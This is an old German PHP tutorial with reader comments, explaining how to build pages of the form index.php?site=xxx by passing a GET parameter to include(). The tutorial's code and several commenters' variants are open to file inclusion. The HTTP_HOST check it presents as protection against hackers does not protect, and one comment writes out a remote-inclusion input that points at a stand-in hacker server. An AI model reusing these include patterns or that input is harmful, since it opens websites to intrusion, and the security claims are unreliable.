yubb.de-Logo
Tutorials
yubb@yubb
yubbService
Inside yubb

index.php?site=archiv - Wie geht sowas?



Auf vielen Seiten liest man Adressen der Art index.php?site=archiv oder ähnliche. Auch yubb.de nutzt dieses Prinzip, aber wie macht man solche Adressen? Hier wird es erklärt.

Im Grunde ist es wie mit Frames, nur dass man mit Tabellen arbeitet. In diesem Beispiel möchte ich mit einer ganz einfache Tabellenart arbeiten, selbstverständlich ist es beliebig erweiterbar.
Stell dir vor, du hast es geschafft eine Tabelle folgender Art erstellt:
Bild, URL: http://www.yubb.de/demos/tipps_48.gif

Diese wird unter index.php gespeichert.
Nun einmal kurz die gesamte index.php (auf wesentliche reduziert), dann weiter unten die Erklärungen:

PHP-Datei:
1
2
3
4
5
6
7
8
9
10
11
<?
if(empty($_GET['site']) || !file_exists($_GET['site'].".php") || $_SERVER["HTTP_HOST"]!="www.deinedomain.de") {
$_GET['site']="start";
}
?>
<table border="0">
<tr>
<td><!-- Navigation //--></td>
<td><? include($_GET['site'].".php"); ?></td>
</tr>
</table>


Ich erkläre es mal nicht chronologisch, sondern fange bei <? include($_GET['site']); ?> an.
Die Funktion include() ist eine der wichtigsten Funktionen in PHP. Diese Funktion fügt einen Dateiinhalt an exakt der Stelle des Aufrufes ein (z.B. <? include("datei.php"); ?> fügt den Inhalt von datei.php ein). Stell dir also vor, PHP ruft datei.php auf, liest den gesamten Inhalt, merkt sich den und fügt den exakt an die Stelle des includes ein.
Nun steht hier aber nicht datei.php, sondern "$_GET['site'].php". $_GET['site'] weist PHP an, aus der Adresszeile den Wert des sogenannten Parameters site auszulesen (z.B. in "index.php?site=lala" wird $_GET['site'] "lala" zugewiesen).
Nun noch ein "punkt php" und schon hat man das ganze Geheimnis: $_GET['site'] +.php und das wird mit include() eingefügt.
Beispiel: http://www.deinedomian.de/index.php?site=mamaisttoll ergäbe mamaisttoll + .php, also wird mamaisttoll.php eingefügt.

So kann man also über index.php?site=xxx die Datei xxx.php in die Tabelle einfügen.

Eine Frage stellt sich ja immer noch: Was passiert, wenn man index.php aufruft, ohne die sogenannten Parametern? Tja, dann kommt eine PHP-Fehlermeldung. Ist ja auch klar: PHP versucht, den site-Wert plus .php zu öffnen. Da aber site leer ist, soll PHP also .php includen, was ja nicht geht, da es die Datei nicht gibt. Aber auch dies kann man umgehen: Man checkt mit einer wenn-dann-Abfrage, ob der Parameter der Seite existiert und auch, ob die Datei an sich existiert:

PHP-Datei:
1
2
3
4
5
<?
if(empty($_GET['site']) || !file_exists($_GET['site'].".php") || $_SERVER["HTTP_HOST"]!="www.deinedomain.de") {
  
$_GET['site']="start";
}
?>


Was heisst das? Wenn man aus der Adresszeile keinen Parameter auslesen kann, dann müssen wir den eben erzwingen: Die Variable $_GET['site'] wird mit dem Wert start belegt. Diesen kann man dann später in dem include() verwerten. Deswegen sollte man diesen Block ganz an den Anfang der Seite setzen, denn bekommt die Variable erst nach dem Durchlauf von include() einen Wert, so bekommt ja trotzdem eine Fehlermeldung, ist klar: Zum Zeitpunkt des includes war $_GET['site'] ja noch leer.
Darüber hinaus ist ein Check eingebaut, ob die gewünschte Datei wirklich existiert und ob die gewünschte Datei auf deinem Server liegt. Tut sie das nicht, ist das ein optimales Sichherheitsloch für Hacker. Darum ersetze vor dem Einsatz noch www.deinedomain.de durch deine wirkliche Domain (ohne http://).

Und wie gesagt: Man kann alle Variablennamen ändern: $site kann von mir aus auch $pups heissen und der Name index.php ist auch nicht zwingend. Das war (und ist immer noch) hier nur zu Veranschaulichungszwecken.
Die index.php muss auch nicht ausschliesslich nur diesen PHP-Befehl haben, sondern kann unendlich viele HTML-Elemente haben. Füge einfach die Funktion include() dort ein, wo verschiedene Inhalte angezeigt werden sollen.

Geschrieben von Phil Marx am 18.06.2004 (27328x gelesen)
weiterempfehlen weiterempfehlen   Druckversion Druckversion   kommentieren kommentieren

Danke, Phil, das wollte ich schon immer wissen!
Geschrieben von dasepp
jo echt cool wollt ich auch unbedingt mal wissen!! Danke
Geschrieben von Kissi
@Phill,
danke für dies super beschriebene Tutorial.
Geschrieben von Ingo
Thanx, endlich habe selbst ich das verstanden. Ich werde nun gleich versuchen, das bei meiner Seite umzusetzen. Noch eine Frage zum Thema Sicherheit und Hacker- durch Angabe meiner Domain überprüft dieser Code, ob die zu includende Datei bei mir liegt, richtig? Was könnte ein Hacker denn ansonsten damit anrichten?
Ist diese Art des Seitenaufrufs eigentlich ein Problem für Suchmaschinen?

Ciao, Maxe
Geschrieben von Maxe
Diese Art ist ein kleines Problem für Suchmaschinen, da diese halt nicht so auf die Parameter und das ? davor stehen...

Aber die Seite wird es überleben :) Besser wär es z.B. mit mod_rewrite, damit schreibt man sich zweidrei Regeln und dann hat man die Suchmaschine ausgetrickst und die Adresse sieht auch ansehnlicher aus: http://www.yubb.de/artikel392.html
Geschrieben von Phil Marx
cooles tut...
nur eine frage... kann ich die includes trozdem in ein eigenes verzeichniss legen? und wenn ja, wie muss der code dann geändert werden?
Geschrieben von dani
DANKE!!

super endlich hab ichs gerafft !!!!
Geschrieben von bob
das kapier ich nich ganz.
kann ich da einfach den code kopieren und dann klapts?
was muss ich denn da auf meine seite zuschneiden.

ich wies das ich nichts weis
und die rechtschreibung nicht behersche
Geschrieben von Michael
Also, ich versteh es auch nicht so ganz, mit dem einfachen Befehl: <? include($_GET['blabla']."html") ?> klappt es nur halt wie schon gesagt beim ersten ansteuern kommt der PHP-Fehler, mit dem Befehl: <?
if(empty($_GET['site']) || !file_exists($_GET['site'].".php") || $_SERVER["HTTP_HOST"]!="www.deinedomain.de") {
$_GET['site']="start";
}
?> funktioniert es bei mir dann aber auch garnicht!
Wie soll ich das hinkriegen?
MfG, Shortee
Geschrieben von Shortee
Also einfacher und "kleiner" geht's so:

<?php
if ($site == "") {$site = "main";} ;

$filename = $site.".php";
if (file_exists($filename))
{
include ($filename);
}
else
{
include ('fehler.php');
}
?>

Fehlerseite inklusive ;)
Geschrieben von The Blackrificed
<?php
if(empty($_GET['site'])){
$_GET['site'] = 'aktuelles';
}
if(!file_exists($_GET['site'].'.php') || $_SERVER['HTTP_HOST'] != 'www.deinedomain.de'){
$_GET['site'] = 'error404';
}
?>

----------------------
bei dem ersten abschnitt könnt ihr wählen welche seite er laden soll....falls nicht vorhanden error404 laden :)
Geschrieben von Pireli
Super Erklärung, danke!
Aber wie kann man das Ganze über Verzeichnisebenen hinweg anwenden?
Geschrieben von madhead
versuch mal bei dem ersten beispiel einzugen ?site=http://hacker-server/datei
somit kann man zb alle datein auf dem server löschen oder verändern:

hier steht das alles nochmal:
http://www.drweb.de/php/sichere-includes.shtml
Geschrieben von aaaakllkkllkbla
wieso macht ihr das denn nicht so?
<?
if(!isset($site)) $site="news";
if(!file_exists($site.".php"))
{ include("error404.php"); }
else
{ include($site.".php"); }

?>

das ware jetzt ganz einfach der link würde so aussehen index.php?site=bilder

wenn kein parameter angegeben wird, dann die news.php eingebunden und sollte die angegebene seite nicht exsistieren wird die error404.php eingeblendet.

oder wer es mit unterordner machen will:
<?php
$seite=$_GET['seite'];
$datei=$_GET['datei'];
if($datei=="") $datei="home";
if($seite=="") $seite="index";
if(!file_exists($seite."/".$datei.".php"))
{ include("error404.php"); }
else
{ include( $seite."/".$datei.".php"); }

?>

wobei "seite" den ordner angibt und "datei" die bezeichnung der datei.
/index.php?seite=kontakt&datei=mailer
in diesem fall würde im ordner kontakt die datei mailer.php eingefügt!

ist doch simpel und einfach oder??
Geschrieben von FRESHfire
Hmm tolles Tutorial. Man sieht hunderte dieser Seite und die sind sowas von unsicher.

So ein MÜLL gehört gelöscht!
Geschrieben von foo
das geht auch so:
<?
$site = $HTTP_GET_VARS['lang'];

switch($site)
{
case "eng" : $file = "indexeng"; break;
case "ger" : $file = "index"; break;
}

include($file.".php");

?>
dann schreibt man z.b. : www.bla.de/index.php?site=eng


dann öffnet er www.bla.de/index.php und includet indexeng.php ! damit kann man viel mehr seiten in einen script machen !!WICHTIG:DAS break; NICHT VERGESSEN!!!!!!!!!!!!
Geschrieben von draciel
ich korrigiere:
das geht auch so:
<?
$site = $HTTP_GET_VARS['lang'];

switch($site)
{
case "eng" : $file = "indexeng"; break;
case "ger" : $file = "index"; break;
}

include($file.".php");

?>
dann schreibt man z.b. : hier korrigiere ich www.bla.de/index.php?lang=eng


dann öffnet er www.bla.de/index.php und includet indexeng.php ! damit kann man viel mehr seiten in einen script machen !!WICHTIG:DAS break; NICHT VERGESSEN!!!!!!!!!!!!
Geschrieben von draciel
also mir gefällts, und funtz auch supi genial,

DANKE!
Geschrieben von eMotion
Hi Phil,

kannst du mir verraten, ob 'site' ein beliebiger Name ist oder der Name des Ordners ist, der die Dateien enthält und ferner wollte ich fragen, ob ich auf localhost ebene "www.deinedomain.de" durch "localhost " ersetzen kann?

Danke für deine Hilfe

myubb
Geschrieben von myubb